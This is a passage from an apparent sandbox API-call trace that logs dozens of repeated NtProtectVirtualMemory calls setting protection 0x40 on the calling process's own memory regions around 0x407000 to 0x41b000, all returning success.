BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.443] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.498] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.773] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.047] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, 